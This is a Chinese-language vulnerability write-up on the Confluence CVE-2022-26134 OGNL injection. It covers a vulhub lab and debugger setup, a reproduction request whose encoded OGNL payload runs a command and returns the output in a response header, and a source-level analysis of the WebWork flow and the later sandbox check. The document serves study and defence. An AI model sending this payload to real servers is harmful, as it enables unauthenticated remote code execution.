Atlassian Confluence CVE-2022-26134 RCE漏洞
Atlassian Confluence CVE-2022-26134 RCE漏洞
漏洞简介
远程攻击者在未经身份验证的情况下,可构造OGNL
表达式进行注入,实现在Confluence Server
或Data Center
上执行任意代码.
漏洞影响范围
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
漏洞危害
漏洞评分9.8
,危害等级严重,攻击者可以利用此漏洞执行任意代码,直接获得权限。
调试环境搭建
测试环境confluence
版本:7.13.6
confluence环境搭建
采用vulhub
靶场方式进行环境搭建,主要利用docker
进行环境配置.
进入漏洞环境对应目录
cd /etc/vulhub/confluence/CVE-2022-26134
启动docker
镜像
docker-compose up
访问http://ip:8090
进行confluence
配置
填入密钥,因为我这里已经注册过了,所以直接填入密钥,没注册过,可以点击Get an evaluation license
获取密钥,之后点击next
,选择standalone
接下来的配置如下:点击Test connection
测试,显示Success!Database connected successfully
之后点击next
到这儿,confluence
的环境基本上已经搭建完毕了,接下来进行网站设置,我选择的是Empty site
接下来设置用户账号和密码,设置好之后点击next
配置成功之后点击start
即可
动态调试环境搭建
漏洞环境搭建前期主要搭建动态调试环境,但是一直失败(这里主要记录下动态调试环境搭建过程,待之后再碰到类似的问题,希望能够解决)
动态调试环境搭建,需要在启动docker
之前修改docker-compose.yml
文件,添加以下内容
"5050:5050" #这个端口作为调试端口
修改内容保存之后,正常启动docker
,启动之后,需要修改/opt/atlassian/confluence/bin/setenv.sh
文件,新增环境变量
docker ps 查看已经开启的docker镜像的相关信息
执行以下命令进入docker
docker exec -it 85b2add38df7 /bin/bash
要修改目标文件,需要先下载vim
或者vi
编辑器,执行以下命令进行apt
更新以及vim
下载
apt update & apt install vim
编辑器下载之后,修改目标文件,新增以下内容
CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"
重启Confluence
容器docker-compose restart
,调试端口就开启了,接下来配置IDEA
。
下载并且安装IDEA
,具体可以参考:https://blog.csdn.net/JOJO_jiongjiong/article/details/123087307
从docker
中复制confluence
源码和docker
中的jdk
环境
docker cp 85b2add38df7:/opt/atlassian/confluence/ /home/worker/Desktop/conf #复制confluence源码
docker cp 85b2add38df7:/opt/java/openjdk /home/worker/Desktop/jdk #复制docker环境中的JDK环境
使用IDEA
打开conf
项目,设置项目的JDK
环境为从docker环境中复制出来的JDK
新增远程调试配置
之后添加库文件:使用IDEA
将/confluence/WEB-INF
下的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib
文件拉取为依赖文件。
之后即可直接调试(这次是成功了的,可以正常动态调试,反思和之前不一样的操作就是在弹出maven
下载项的时候点击了确定,可能是这个原因)
漏洞复现
向目标服务器发送如下数据包:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.220.54:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
得到返回数据:命令执行结果在X-Cmd-Response
字段中显示
payload
的构造过程如下:
1:首先构造一个ONGL
的表达式
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
2:将构造好的表达式进行URL
编码
$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D
需要注意一点,在URL
编码之后需要在编码之后的payload
末尾添加一个/
,即最后的payload
应该如下:
$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D/
漏洞详细分析
查看补丁点
根据官方通告:<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
修补补丁关键点在于用新的xwork-1.0.3-atlassian-10.jar
替换老的xwork-1.0.3-atlassian-8.jar
.对这二者进行补丁对比.对应jar
包目录:/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
bindiff确认补丁点
IDEA
社区版不支持这个功能,需要下载企业版…(直接进行动态调试)
动态调试
这块因为没有办法直接bindiff
直接对比补丁包的修改,入手点参考网上已有的分析报告.主要参考链接在文末给出.
前置背景-WebWork 框架分析
Confluence
使用 WebWork
框架,整个 HTTP
请求逻辑是随着这个框架处理流程来的。整个HTTP
请求过程如下
1:客户发起 HTTP
流程访问
2:按照 servlet
规范,先由 filter
进行处理,然后由 WebWork
核心控制器 ServletDispatcher
进行处理
3:WebWork
根据 xwork.xml
配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分
4:先依次调用拦截器 (before
), 然后再由业务逻辑处理
5:根据业务逻辑返回的响应类型对响应进行渲染
6:依次调用拦截器 (after
), 然后将响应输出
confluence
在 web.xml
中引入 WebWork
框架配置
关于Web.xml
一般的web
工程中都会用到web.xml
,web.xml
主要用来配置,可以方便的开发web
工程。web.xml
主要用来配置Filter、Listener、Servlet
等。但是要说明的是web.xml
并不是必须的,一个web
工程可以没有web.xml
文件。
WEB
工程加载顺序与元素节点在文件中的配置顺序无关。即不会因为 filter
写在 listener
的前面而会先加载filter
。WEB
容器的加载顺序是:ServletContext -> context-param -> listener -> filter -> servlet
。并且这些元素可以配置在文件中的任意位置。
web.xml
文件的加载过程:
1:启动一个web
项目的时候,web
容器会去读取它的配置文件web.xml
,读取<listener>
和<context-param>
两个结点。
2:紧接着,web
容器会创建一个ServletContext
(servlet
上下文),这个web
项目的所有部分都将共享这个上下文。
3:容器将<context-param>
转换为键值对,并交给servletContext
。
4:容器创建<listener>
中的类实例,创建监听器。
web.xml标签详解
1:<web-app>
:是部署描述的根元素
2:<display-name>
:定义web
应用的名称,Confluence
的该键值如下:
<display-name>Confluence</display-name>
3:<disciption>
:Web应用描述,Confluence
的该标签内容如下:
<description>Confluence Web App</description>
4:<context-param>
上下文参数,声明应用范围内的初始化参数。该元素含有一对参数名和参数值,它用于向 ServletContext
提供键值对,即应用程序上下文信息.listener, filter
等在初始化时会用到这些上下文中的信息。在servlet
里面可以通过getServletContext().getInitParameter("context/param")
得到。参数名在整个Web
应用中必须是唯一的,在web
应用的整个生命周期中上下文初始化参数都存在,任意的Servlet
和jsp
都可以随时随地访问它
5:<filter>
:过滤器,Filter
可认为是Servlet
的一种“变种”,它主要用于对用户请求(HttpServletRequest)
进行预处理,也可以对服务器响应(HttpServletResponse)
进行后处理,是个典型的处理链。它与Servlet
的区别在于:它不能直接向用户生成响应。完整的流程是:Filter对用户请求进行预处理,接着将请求交给Servlet进行处理并生成响应,最后Filter再对服务器响应进行后处理。
filter
有如下几个用处:
在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest。
根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据。
在HttpServletResponse到达客户端之前,拦截HttpServletResponse。
根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
创建一个Filter
只需要两个步骤:1.创建Filter
处理类(如:MyFiletr
)实现javax.servlet.Filter
接口;2.web.xml
中配置Filter
,以confluence
中的filter
配置为例进行详细阐述:
<filter>
<filter-name>debug-before-request</filter-name>
<filter-class>com.atlassian.confluence.web.filter.DebugFilter</filter-class>
<init-param>
<param-name>phase</param-name>
<param-value>before</param-value>
</init-param>
<init-param>
<param-name>dispatcher</param-name>
<param-value>REQUEST</param-value>
</init-param>
</filter>
过滤器的名称为debug-before-request
,实现的方法为com.atlassian.confluence.web.filter.DebugFilter
类,查看具体实现:
上面的程序实现了doFilter()
方法,实现该方法就可以实现对用户请求进行预处理.Filter
接口中有一个doFilter
方法,当开发人员编写好Filter
类实现doFilter
方法,并配置对哪个web
资源进行拦截后,WEB
服务器每次在调用web
资源的service
方法之前(服务器内部对资源的访问机制决定的),都会先调用一下filter
的doFilter
方法。关于Filter的相关内容,可以参考:https://www.cnblogs.com/vanl/p/5742501.html
6<listener>
:监听器
7<servlet>
:用来声明一个servlet
的数据,Servlet
通常称为服务端小程序,是服务端的程序,用于处理及响应客户的请求。Servlet是一个特殊的Java
类,创建Servlet
类自动继承HttpServlet
。客户端通常只有GET
和POST
两种请求方式,Servlet
为了响应这两种请求,必须重写doGet()
和doPost()
方法。大部分时候,Servlet
对于所有的请求响应都是完全一样的,此时只需要重写service()
方法即可响应客户端的所有请求。HttpServlet
有两个方法
init(ServletConfig config)
:创建Servlet
实例时,调用该方法初始化Servlet
资源;
destory()
:销毁Servlet
实例时,自动调用该方法回收资源;
通常无需重写init()
和destory()
两个方法,除非需要在初始化Servlet
时,完成某些资源初始化的方法,才考虑重写init()
方法。如果重写了init()
方法,应该在重写该方法的第一行调用super.init(config)
,该方法将调用HttpServlet
的init()
方法。如果需要在销毁Servlet
之前,先完先完成某些资源的回收,比如关闭数据库链接,才需要重写destory()
方法。
处理流程分析
首先针对Confluence
的登录过程进行流程分析,访问/login.action
页面,查看产生的调用栈:
根据调用栈可以看到,经过一系列 Filter
处理后,将进入Servlet
的分发器 ServletDispatcher
(本质上是其子类 ConfluenceServletDispatcher
对象),在web.xml
文件查找ServletDispatcher
:
定位到目标类,查找service
方法
在service
函数中,分别通过函数 getNameSpace ,getActionName ,getRequestMap,getSessionMap,getApplicationMap
提取相应参数,处理函数和获取结果对应关系如下:
getNameSpace(request) -> namespace
getActionName(request) -> actionName
getRequestMap(request) -> requestMap
getParameterMap(request) -> parameterMap
getSessionMap(request) -> sessionMap
getApplicationMap() -> applicationMap
参数获取完毕之后,执行函数serviceAction
public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) {
HashMap extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig());
extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this);
try {
ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
proxy.execute();
} catch (ConfigurationException var11) {
log.error("Could not find action", var11);
this.sendError(request, response, 404, var11);
} catch (Exception var12) {
log.error("Could not execute action", var12);
this.sendError(request, response, 500, var12);
}
}
实例化DefaultActionProxy
,执行execute
处理函数
调用InvokAction
,进入 DefaultActionInvocation#invoke
这里开始调用 Struts Interceptor
拦截器对象对请求进行处理, DefaultActionInvocation
对象拦截器集合 interceptors
一共有 32 个:
迭代执行拦截器之后,流程来到this.proxy.getExecuteResult
,进入发现实际调用的是executeResult
,
代码逻辑如下:
private void executeResult() throws Exception {
this.result = createResult();
if (this.result != null) {
this.result.execute(this);
} else if (!"none".equals(this.resultCode)) {
LOG.warn("No result defined for action " + getAction().getClass().getName() + " and result " + getResultCode());
}
}
查看result.execute
函数执行逻辑
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
if (isInChainHistory(finalNamespace, finalActionName))
throw new XworkException("infinite recursion detected");
addToHistory(finalNamespace, finalActionName);
HashMap<Object, Object> extraContext = new HashMap<Object, Object>();
extraContext.put("com.opensymphony.xwork.util.OgnlValueStack.ValueStack", ActionContext.getContext().getValueStack());
extraContext.put("com.opensymphony.xwork.ActionContext.parameters", ActionContext.getContext().getParameters());
extraContext.put("com.opensymphony.xwork.interceptor.component.ComponentManager", ActionContext.getContext().get("com.opensymphony.xwork.interceptor.component.ComponentManager"));
extraContext.put("CHAIN_HISTORY", ActionContext.getContext().get("CHAIN_HISTORY"));
if (log.isDebugEnabled())
log.debug("Chaining to action " + finalActionName);
this.proxy = ActionProxyFactory.getFactory().createActionProxy(finalNamespace, finalActionName, extraContext);
this.proxy.execute();
}
提取 namespace
参数,并调用 translateVariables
函数,进入查看函数处理流程:
调用findvalue
函数,通过前边的分析过程可知, namespace
参数通过 ServletDispatcher#getNameSpace
函数获取,查看函数定义:
protected String getNameSpace(HttpServletRequest request) {
String servletPath = request.getServletPath();
return getNamespaceFromServletPath(servletPath);
}
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
根据上述代码逻辑,不难得出这样的结论: namespace
取值为请求 servletPath
最后一个 /
之前的部分,这其实也是我们的POC
末尾为什么一定要加一个/
的原因。同时需要注意,匹配的正则表达式如下:
\$\{([^}]*)\}
这样构造POC
就容易很多,甚至可以在这里直接修改namespace
参数满足这个正则表达式:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1szeskRu-1682047212944)
沙箱绕过与命令执行
从v7.15系列开始,Confluence
在OGNL
表达式解析时加入了沙箱设置:处理逻辑如下:新增了isSafeExpression
判断逻辑
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
expr = (String)this.overrides.get(expr);
if (this.defaultType != null)
return findValue(expr, this.defaultType);
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
} catch (OgnlException e) {
return null;
} catch (Exception e) {
LOG.warn("Caught an exception while evaluating expression '" + expr + "' against value stack", e);
return null;
}
}
查看isSafeExpression
处理逻辑
public boolean isSafeExpression(String expression) {
return isSafeExpressionInternal(expression, new HashSet<>());
}
private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression))
return false;
if (isUnSafeClass(expression)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
return false;
}
if (SourceVersion.isName(trimQuotes(expression)) && this.allowedClassNames.contains(trimQuotes(expression))) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
} else {
try {
Object parsedExpression = OgnlUtil.compile(expression);
if (parsedExpression instanceof Node)
if (containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
log.debug(String.format("Unsafe clause found in [\" %s \"]", new Object[] { expression }));
} else {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
}
} catch (OgnlException|RuntimeException ex) {
this.SAFE_EXPRESSIONS_CACHE.add(expression);
log.debug("Cannot verify safety of OGNL expression", ex);
}
}
}
return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}
这里后续没有动态调试,可以查看参考链接中的部分内容
参考链接
https://paper.seebug.org/1912/
https://www.cnblogs.com/vanl/p/5742501.html
https://www.cnblogs.com/vanl/p/5737656.html